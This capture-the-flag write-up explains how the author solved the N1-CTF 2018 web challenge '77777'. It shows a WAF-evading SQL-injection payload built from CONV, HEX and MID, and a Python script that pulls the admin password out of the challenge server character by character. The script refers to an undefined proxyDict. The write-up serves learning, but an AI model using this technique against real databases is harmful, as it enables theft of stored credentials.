Contents

[N1-CTF 2018] 77777 Write-up

Challenge Info

Category: Web Points: 1000 (Dynamic scoring, goes down when more people solve it)

Description:

"77777" is my girlfriend's nickname,have fun xdd:)

hk node: http://47.75.14.48

cn node: http://47.97.168.223

(Two challenge servers are identical, use either of them.)

The Challenge

Upon visiting the site we’re shown two very big hints, U can update my points in Profile. and And the flag is admin's password :). Visiting the rest of the pages we can see the profile which just simply displays the amount of points they have, on the some code page we get a screenshot of the code running in the background, and on the some info page we get a screenshot which displays what software is running on the server.

Below is the code revealed on the some code page.

https://i.imgur.com/EMBZgXH.png

After reading over the code it’s obvious that the update_points function is vulnerable to SQL Injection via the $points parameter. However, it is also running through a waf function which we don’t have the code for.

After doing some research on different ways I could exploit this, I came across a technique about using CONV(hex((query))) to extract data, after struggling on trying to get it working for ages, I FINALLY got it working using this query 1*CONV(HEX((SELECT MID(password,1,3))),16,10). This allows us to multiply 1 by the base-10 hex representation of a string, giving us the ability to leak the flag contents from the admin’s password.

For anyone who isn’t familiar with the functions in the statement I’ll break them down for you, MID allows you to obtain a substring of the field (I couldn’t use SUBSTRING because it was blocked by the waf :( ), the format is MID(field, <starting position>, <length>). CONV allows us to convert a hex value to it’s base 10 representation and HEX is used to convert the substring to its hex representation.

Solution

After some more fiddling around I wrote a quick python script to automate it for me and do the decoding.

import requests
import re
from time import sleep
s = requests.Session()
regex = "\|\s[\d]+<br" # Regex to extract the current points
flag = "1"
i = 1
password = ""

def dec2hex(dec): # don't know why i did this instead of doing it properly? lol
	result = s.get("https://www.binaryhexconverter.com/hesapla.php?fonksiyon=dec2hex&deger={}&pad=false&v=2".format(dec))
	return result.text

while True:
	hi = '*CONV(HEX((SELECT MID(password,{},1))),16,10)'.format(i)
	postData = {
		"flag":flag,
		"hi":hi
	}
	url = "http://47.75.14.48/"
	attack = s.post(url, data=postData, proxies=proxyDict)
	result = re.findall(regex, attack.text)
	if len(result) > 0:
		dechex = result[0].replace("| ","").replace("<br","") # extract points
		hex = dec2hex(dechex) #convert decimal to hex
		plain = bytes.fromhex(hex).decode("ascii") # convert hex to ascii
		password += plain #append to password 
		print(password)
	i += 1
	sleep(1)

Results:

https://i.imgur.com/QIJ8y9E.png

After running it for about 10-20 seconds we have the password, submitting in the format N1CTF{helloctfer23333} gets us the points!